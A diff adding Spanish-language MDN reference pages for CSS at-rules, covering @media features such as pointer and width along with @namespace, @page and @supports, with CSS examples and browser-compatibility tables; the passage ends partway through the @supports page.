+   <td><a href="/en-US/docs/Web/CSS/@media/device-aspect-ratio"><code>device-aspect-ratio</code></a> {{obsolete_inline}}</td>
+   <td>Relación de aspecto anchura-altura del dispositivo</td>
+   <td>Descontinuado en Media Queries Nivel 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/-webkit-device-pixel-ratio"><code>-webkit-device-pixel-ratio</code></a> {{non-standard_inline}}</td>
+   <td>Número de pixeles reales del dispositivo por pixel CSS</td>
+   <td>No estándar; Específica de WebKit/Blink. De ser posible, use la característica <code><a href="/en-US/docs/Web/CSS/@media/resolution">resolution</a> en su lugar</code>.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/-webkit-transform-3d"><code>-webkit-transform-3d</code></a> {{non-standard_inline}}</td>
+   <td>¿Se soportan {{cssxref("transform", "transformaciones")}} 3D?</td>
+   <td>No estándar; Específica de WebKit/Blink</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/-webkit-transform-2d"><code>-webkit-transform-2d</code></a> {{non-standard_inline}}</td>
+   <td>¿Se soportan {{cssxref("transform", "transformaciones")}} 2D?</td>
+   <td>No estándar; Específica de WebKit</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/-webkit-transition"><code>-webkit-transition</code></a> {{non-standard_inline}}</td>
+   <td>Se soportan {{cssxref("transition", "transiciones")}} CSS?</td>
+   <td>No estándar; Específica de WebKit</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/-webkit-animation"><code>-webkit-animation</code></a> {{non-standard_inline}}</td>
+   <td>¿Se soportan {{cssxref("animation", "animaciones")}} CSS?</td>
+   <td>No estándar; Específica de WebKit</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<pre class="brush: css">@media print {
+  body { font-size: 10pt }
+}
+@media screen {
+  body { font-size: 13px }
+}
+@media screen, print {
+  body { line-height: 1.2 }
+}
+@media only screen
+  and (min-device-width: 320px)
+  and (max-device-width: 480px)
+  and (-webkit-min-device-pixel-ratio: 2) {
+    body { line-height: 1.4 }
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Compat', '#css-media-queries', 'CSS Media Queries')}}</td>
+   <td>{{Spec2('Compat')}}</td>
+   <td>Estandariza las características <code>-webkit-device-pixel-ratio</code> y <code>-webkit-transform-3d</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Conditional', '#at-media', '@media')}}</td>
+   <td>{{Spec2('CSS3 Conditional')}}</td>
+   <td>Define la sintaxis básica de la regla <code>@media</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#media', '@media')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>
+    <p>Se agregan las características <code>scripting</code>, <code>pointer</code>, <code>hover</code>, <code>light-level</code>, <code>update-frequency</code>, <code>overflow-block</code>, y <code>overflow-inline</code>.<br>
+     Se descontinúan todos los tipos de medios excepto <code>screen</code>, <code>print</code>, <code>speech</code>, y <code>all</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#media0', '@media')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Sin cambios.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'media.html#at-media-rule', '@media')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico (<code>all</code>, <code>print</code>, <code>screen</code>)</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop(1.7) }}</td>
+   <td>6.0</td>
+   <td>9.2</td>
+   <td>1.3</td>
+  </tr>
+  <tr>
+   <td><code>speech</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>9.2</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Media features (características de medios)</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop(1.7) }}</td>
+   <td>9.0</td>
+   <td>9.2</td>
+   <td>1.3</td>
+  </tr>
+  <tr>
+   <td>Característica <code>display-mode</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoDesktop(47) }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico (<code>all</code>, <code>print</code>, <code>screen</code>)</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoMobile(1.7) }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>speech</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>9.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Media features (características de medios)</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoMobile(1.7) }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td>Característica <code>display-mode</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a class="internal" href="/en/CSS/Media_queries" title="En/CSS/Media queries">Media queries</a></li>
+ <li>El modelo CSSOM {{ domxref("CSSMediaRule") }} asociado a esta regla-at.</li>
+</ul>
diff --git a/files/es/web/css/@media/pointer/index.html b/files/es/web/css/@media/pointer/index.html
new file mode 100644
index 0000000000..f7fca78ca6
--- /dev/null
+++ b/files/es/web/css/@media/pointer/index.html
@@ -0,0 +1,101 @@
+---
+title: pointer
+slug: Web/CSS/@media/pointer
+translation_of: Web/CSS/@media/pointer
+---
+<div>{{cssref}}</div>
+
+<p>La <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries/Using_media_queries#Media_features">caracteristica</a> <strong><code>pointer</code></strong> <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS">CSS</a> comprueba si el usuario tiene un dispositivo de puntero (como el ratón), y si es así, cuán preciso es el dispositivo de puntero primario.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Si quieres comprobar la precisión de cualquier dispositivo apuntador, usa <code><a href="/en-US/docs/Web/CSS/@media/any-pointer">any-pointer</a></code> en su lugar.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>La propiedad <code>pointer</code> se especifica como un valor de palabra clave elegido de la lista que figura a continuación.</p>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>El mecanismo de entrada principal no incluye un dispositivo apuntador.</dd>
+ <dt><code>coarse</code></dt>
+ <dd>El mecanismo primario de entrada incluye un dispositivo de apuntamiento de precisión limitada.</dd>
+ <dt><code>fine</code></dt>
+ <dd>El mecanismo de entrada principal incluye un dispositivo de apuntamiento preciso.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Este ejemplo crea una pequeño checkbox para los usuarios con punteros primarios finos y un gran checkbox para los usuarios con punteros primarios gruesos.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input id="test" type="checkbox" /&gt;
+&lt;label for="test"&gt;Mírame!&lt;/label&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input[type="checkbox"] {
+  -moz-appearance: none;
+  -webkit-appearance: none;
+  appearance: none;
+  border: solid;
+  margin: 0;
+}
+
+input[type="checkbox"]:checked {
+  background: gray;
+}
+
+@media (pointer: fine) {
+  input[type="checkbox"] {
+    width: 15px;
+    height: 15px;
+    border-width: 1px;
+    border-color: blue;
+  }
+}
+
+@media (pointer: coarse) {
+  input[type="checkbox"] {
+    width: 30px;
+    height: 30px;
+    border-width: 2px;
+    border-color: red;
+  }
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#pointer', 'pointer')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad">Compatibilidad</h2>
+
+
+
+<p>{{Compat("css.at-rules.media.pointer")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/@media/any-pointer">The <code>any-pointer</code> media feature</a></li>
+</ul>
diff --git a/files/es/web/css/@media/resolución/index.html b/files/es/web/css/@media/resolución/index.html
new file mode 100644
index 0000000000..bd2beb4866
--- /dev/null
+++ b/files/es/web/css/@media/resolución/index.html
@@ -0,0 +1,88 @@
+---
+title: Resolución
+slug: Web/CSS/@media/resolución
+tags:
+  - Referencia
+  - resolución
+translation_of: Web/CSS/@media/resolution
+---
+<p><strong><code>resolución</code></strong><code> es una función de medios de CSS</code> cuyo valor es la densidad de píxeles del dispositivo de salida, como un CSS<a href="/en-US/docs/Web/CSS/resolution"><code>&lt;resolution&gt;</code></a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#resolution', 'resolution')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>
+    <table class="compat-table">
+     <tbody>
+      <tr>
+       <th>Característica</th>
+      </tr>
+     </tbody>
+    </table>
+   </th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/es/web/css/@media/width/index.html b/files/es/web/css/@media/width/index.html
new file mode 100644
index 0000000000..a4392047b3
--- /dev/null
+++ b/files/es/web/css/@media/width/index.html
@@ -0,0 +1,124 @@
+---
+title: width
+slug: Web/CSS/@media/width
+translation_of: Web/CSS/@media/width
+---
+<div>{{cssref}}</div>
+
+<p>El <strong><code>width</code></strong> <a href="/en-US/docs/CSS">CSS</a> {{cssxref("@media")}} media caracteristica puede ser usada para aplicar estilos basados en el ancho  de el  {{glossary("viewport")}} (o la caja de la pagina, para <a href="/en-US/docs/Web/CSS/Paged_media">paged media</a>).</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>La característica <code>width</code> es especificada como {{cssxref("&lt;length&gt;")}} valor que representa el ancho de la ventana gráfica. Es una función de rango, lo que significa que también puede usar el prefijo <strong><code>min-width</code></strong> and <code><strong>max-width</strong></code> variantes para consultar valores mínimos y máximos, respectivamente.</p>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;Watch this element as you resize your viewport's width.&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* Exact width */
+@media (width: 360px) {
+  div {
+    color: red;
+  }
+}
+
+/* Minimum width */
+@media (min-width: 35rem) {
+  div {
+    background: yellow;
+  }
+}
+
+/* Maximum width */
+@media (max-width: 50rem) {
+  div {
+    border: 2px solid blue;
+  }
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Example','90%')}}</p>
+
+<h2 id="Specificaciones">Specificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#width', 'width')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>The value can now be negative, in which case it computes to false.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#width', 'width')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Initial definition. The value must be nonnegative.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Navegadores Compatibles</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table" style="height: 117px; width: 561px;">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>
+    <p>Firefox (Gecko)</p>
+   </th>
+   <th>Internet Explorer</th>
+   <th>Edge</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>9.0</td>
+   <td>14+</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table" style="height: 91px; width: 499px;">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>56+</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>9.3+</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/@namespace/index.html b/files/es/web/css/@namespace/index.html
new file mode 100644
index 0000000000..ef48776311
--- /dev/null
+++ b/files/es/web/css/@namespace/index.html
@@ -0,0 +1,71 @@
+---
+title: '@namespace'
+slug: Web/CSS/@namespace
+translation_of: Web/CSS/@namespace
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>@namespace</code></strong> es una <a href="/en-US/docs/Web/CSS/At-rule" title="CSS at-rules">regla</a> que define <a href="/en-US/docs/Namespaces">XML namespace</a> a ser usados en una <a href="/en-US/docs/Glossary/CSS">hoja de estilos CSS</a>. Los namespaces definidos pueden utilizarse para restringir <a href="/en-US/docs/Web/CSS/Universal_selectors">selectores universales</a>, <a href="/en-US/docs/Web/CSS/Type_selectors">types</a>, y <a href="/en-US/docs/Web/CSS/Attribute_selectors">selectores de atributos</a> para seleccionar </span>sólo elementos dentro de ese namespace.<span class="seoSummary">La regla <code>@namespace</code> generalmente </span>sólo es útil cuando se trata de documents que contienen múltiples namespace<span class="seoSummary">—como HTML5 con SVG o MathML, o XML que mezcla</span>múltiples<span class="seoSummary">vocabularios.</span></p>
+
+<pre class="brush: css no-line-numbers">@namespace url(http://www.w3.org/1999/xhtml);
+@namespace svg url(http://www.w3.org/2000/svg);
+
+/* Esto coincide con todos los elementos XHTML &lt;a&gt;, ya que el XHTML es el namespace por defecto sin prefijo */
+a {}
+
+/* Esto coincide con todos los elementos SVG &lt;a&gt; */
+svg|a {}
+
+/* Esto concuerda con todos los elementos XHTML y SVG &lt;a&gt; elements */
+*|a {}</pre>
+
+<p>Cualquier <code>@namespace</code> debe seguir todas las reglas de <a href="/en-US/docs/Web/CSS/%40charset">@charset</a> y <a href="/en-US/docs/Web/CSS/%40import">@import</a>, y preceder a todas las demás reglas y <a href="/en-US/docs/Web/API/CSSStyleDeclaration">declaraciones de estilo</a> de una hoja de estilos.</p>
+
+<p>Se puede utilizar <code>@namespace</code> para definirun <strong>namespace por defecto</strong> de una hoja de estilos. Cuando se define un namespace por defecto, todos los selectores universales y tipos (pero no los selectores de atributo, véase la nota a continuación) se aplican únicamente a los elementos de ese namespace</p>
+
+<p>La regla <code>@namespace</code> también puede usarse para definir un <strong>prefijo de namespace</strong>. Cuando un selector universal, tipo, o selector de atributo se antepone a un prefijo de un namespace, ese selector sólo coincide si el namespace y el nombre del elemento o atributo coinciden.</p>
+
+<p>En <a href="/en-US/docs/Glossary/HTML5">HTML5</a>, conocidos como<a href="https://html.spec.whatwg.org/#foreign-elements"> elementos externos</a> automaticamente se les asignarán un namespace. Esto significa que los elementos HTML actuarán como si estuvieran en un namespace XHTML (<code>http://www.w3.org/1999/xhtml</code>), incluso si no hay ningún atributo xmlns en ninguna parte del document, y los elementos <a href="/en-US/docs/Web/SVG/Element/svg">&lt;svg&gt;</a> y <a href="/en-US/docs/Web/MathML/Element/math">&lt;math&gt;</a> se les asignará un namespace propio (<code>http://www.w3.org/2000/svg</code> and <code>http://www.w3.org/1998/Math/MathML</code>).</p>
+
+<div class="note">
+<p><strong>Nota:</strong> En XML, a menos que se defina un prefijo directamente sobre un atributo (<em>ejemplo.</em>, <code>xlink:href</code>), ese atributo no tiene namespace. En otras palabras, los atributos no heredan el namespace del elemento en el que están. Para que coincida con este comportamiento, el namespace por defecto en CSS no se aplica a los selectores de atributos.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css">/* Namespace por defecto */
+@namespace url(<em>XML-namespace-URL</em>);
+@namespace "<em>XML-namespace-URL</em>";
+
+/* Namespace sin prefijo */
+@namespace <em>prefix</em> url(<em>XML-namespace-URL</em>);
+@namespace <em>prefix</em> "<em>XML-namespace-URL</em>";</pre>
+
+<h3 id="Sintaxis_oficial">Sintaxis oficial</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Namespaces', '#declaration', '@namespace')}}</td>
+   <td>{{Spec2('CSS3 Namespaces')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad">Compatibilidad</h2>
+
+
+
+<p>{{Compat("css.at-rules.namespace")}}</p>
diff --git a/files/es/web/css/@page/index.html b/files/es/web/css/@page/index.html
new file mode 100644
index 0000000000..b13d0eddf7
--- /dev/null
+++ b/files/es/web/css/@page/index.html
@@ -0,0 +1,129 @@
+---
+title: '@page'
+slug: Web/CSS/@page
+translation_of: Web/CSS/@page
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La regla @page es usada para modificar algunas propiedades CSS cuando se va a imprimir una página web.<strong> </strong>No se pueden cambiar todas las propiedades CSS con <code>@page, </code>solo los márgenes, las líneas viudas, huérfanas y los saltos de página. Cualquier intento de cambiar otra propiedad será ignorada.</p>
+
+<p>La regla <code>@page</code> puede ser accesada por medio de la interfaz modelo objeto {{domxref("CSSPageRule")}}.</p>
+
+<div class="note"><strong>Nota:</strong> La W3C esta discutiendo como manejar las unidades relativas {{cssxref("&lt;length&gt;")}} : <code>vh</code>, <code>vw</code>, <code>vmin</code>, y <code>vmax</code>. Mientras tanto, se recomienda no usarlas en la regla <code>@page</code>.</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Descriptores">Descriptores</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/@page/size"><code>size</code></a></dt>
+ <dd>Especifica el tamaño y la orientación de la caja objetivo de la página. En general, una caja es representada dentro de una hoja, también indica el tamaño de la hoja destino.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/@page/marks"><code>marks</code></a></dt>
+ <dd>Añade marcas de corte y/o registro al documento.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/@page/bleed"><code>bleed</code></a></dt>
+ <dd>Especifica la extensión más allá de la caja de página a la que se recorta el procesamiento de página.</dd>
+</dl>
+
+<h3 id="Sintaxis_Formal">Sintaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Por favor dirígete a las <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-classes</a> de <code>@page</code> por ejemplos.</p>
+
+<ul>
+ <li>{{Cssxref(":blank")}}</li>
+ <li>{{Cssxref(":first")}}</li>
+ <li>{{Cssxref(":left")}}</li>
+ <li>{{Cssxref(":right")}}</li>
+ <li>{{Cssxref(":recto")}} {{experimental_inline}}</li>
+ <li>{{Cssxref(":verso")}} {{experimental_inline}}</li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Logical Properties', '#logical-page', ':recto and :verso')}}</td>
+   <td>{{Spec2('CSS Logical Properties')}}</td>
+   <td>Agrega los selectores de página<code>:recto</code> y <code>:verso.</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Paged Media', '#at-page-rule', '@page')}}</td>
+   <td>{{Spec2('CSS3 Paged Media')}}</td>
+   <td>Ningún cambio desde {{SpecName('CSS2.1')}}, aunque mas reglas CSS pueden ser usadas dentro de <code>@page</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'page.html#page-selectors', '@page')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>2.0</td>
+   <td>{{CompatGeckoDesktop("19.0")}}</td>
+   <td>8.0</td>
+   <td>6.0</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("19.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/@supports/index.html b/files/es/web/css/@supports/index.html
new file mode 100644
index 0000000000..4d07fc1afe
--- /dev/null
+++ b/files/es/web/css/@supports/index.html
@@ -0,0 +1,138 @@
+---
+title: '@supports'
+slug: Web/CSS/@supports
+translation_of: Web/CSS/@supports
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La regla "CSS <code>@supports"</code>asocia un conjunto de declaraciones anidadas en un bloque CSS (que está delimitado por corchetes) con una condición consistente en probar declaraciones de CSS (es decir, pares propiedad-valor, así como conjunciones, disjunciones o negaciones abritrarias sobre ellas). A esas condiciones se le llama condición "soporta"<em> (</em><em>supports condition)</em>.</p>
+
+<p><code>@supports</code> otorga la habilidad de realizar consultas que comprueben si ciertas funcionalidades están disponibles <em>(feature query)</em>.</p>
+
+<p>La regla <code>@supports </code>puede ser usada tanto en el nivel superior de una hoja de estilos, como dentro de cualquier <a href="/en/CSS/At-rule#Conditional_Group_Rules" title="en/CSS/At-rule#Conditional_Group_Rules">regla de grupo condicional</a> y se puede acceder a ella a través del modelo de objetos de CSS {{domxref("CSSSupportsRule")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<p>Una condición "soporta" <em>(</em><em>supports condition)</em> consiste en una o varias declaraciones combinadas por diferentes operadores lógicos. La precedencia de los operadores puede ser definida usando paréntesis.</p>
+
+<h3 id="Sintaxis_de_una_declaración">Sintaxis de una declaración</h3>
+
+<p>La expresión más simple es una declaración CSS, es decir el nombre de una propiedad CSS seguida por un valor, separada por dos puntos. La siguiente expresión</p>
+
+<pre class="brush:css">( transform-origin: 5% 5% )</pre>
+
+<p>devuelve "cierto" si la {{ cssxref("transform-origin") }} implementa una sintaxis que reconoce <code>5% 5%</code> como válida.</p>
+
+<p>Una declaración CSS está siempre rodeada entre paréntesis.</p>
+
+<h3 id="El_operador_not">El operador "<code>not</code> "</h3>
+
+<p>El operador <code>not</code> puede preceder cualquier expresión para crear una nueva, resultando en la negación de la expresión original. La siguiente expresión</p>
+
+<pre class="brush:css">not ( transform-origin: 10em 10em 10em )</pre>
+
+<p>devuelve "cierto" si {{ cssxref("transform-origin") }} no reconoceo <code>10em 10em 10em</code> como una sintaxis válida.</p>
+
+<p>Como cualquier operador, el operador <code>not</code> puede ser aplicado a una declaración de complejidad arbitraria. Los siguientes ejemplos son todas expresiones válidas:</p>
+
+<pre class="brush:css">not ( not ( transform-origin: 2px ) )
+(display: flexbox) and ( not (display: inline-grid) )</pre>
+
+<div class="note style-wrap">
+<p><strong>Nota:</strong> no hay necesidad de encerrar el operador <code>not</code> entre paréntesis cuando se encuentra en el nivel superior. Para combinarlo con otros operadores, como <code>and</code> y <code>or</code>, sí se requieren paréntesis</p>
+</div>
+
+<h3 id="El_operador_and">El operador  "<code>and</code>"</h3>
+
+<p>Partiendo de dos expresiones, el operador <code>and</code> crea una nueva expresión consistente en la conjunción de dos originales; la expresión resultante es verdadera si sólo ambas expresiones originales lo son. En este ejemplo, la expresión completa resuelve a true si y sólo si, las dos expresiones son simultáneamente veraderas:</p>
+
+<pre class="brush:css">(display: table-cell) and (display: list-item)</pre>
+
+<p>Varias conjunciones pueden ser yuxtapuestas sin la necesidad de agregar paréntesis:</p>
+
+<pre class="brush:css">(display: table-cell) and (display: list-item) and (display:run-in)</pre>
+
+<p>es equivalente a:</p>
+
+<pre class="brush:css">(display: table-cell) and ((display: list-item) and (display:run-in))</pre>
+
+<h3 id="El_operador_or">El operador "<code>or"</code></h3>
+
+<p>Partiendo de dos expresiones, el operador  <code>or</code> crea una nueva expresión consistente en la disyunción de dos originales; la expresión resultante es verdadera si una o ambas expresiones originales lo son. En este ejemplo, la expresión completa resuelve a true si al menos una de las dos expresiones es veradera:</p>
+
+<pre class="brush:css;">( transform-style: preserve ) or ( -moz-transform-style: preserve )</pre>
+
+<p>Varias disyunciones pueden ser yuxtapuestas sin la necesidad de agregar paréntesis:</p>
+
+<pre class="brush:css">( transform-style: preserve ) or ( -moz-transform-style: preserve ) or
+( -o-transform-style: preserve ) or ( -webkit-transform-style: preserve  )</pre>
+
+<p>es equivalente a:</p>
+
+<pre class="brush:css">( transform-style: preserve-3d ) or (( -moz-transform-style: preserve-3d ) or
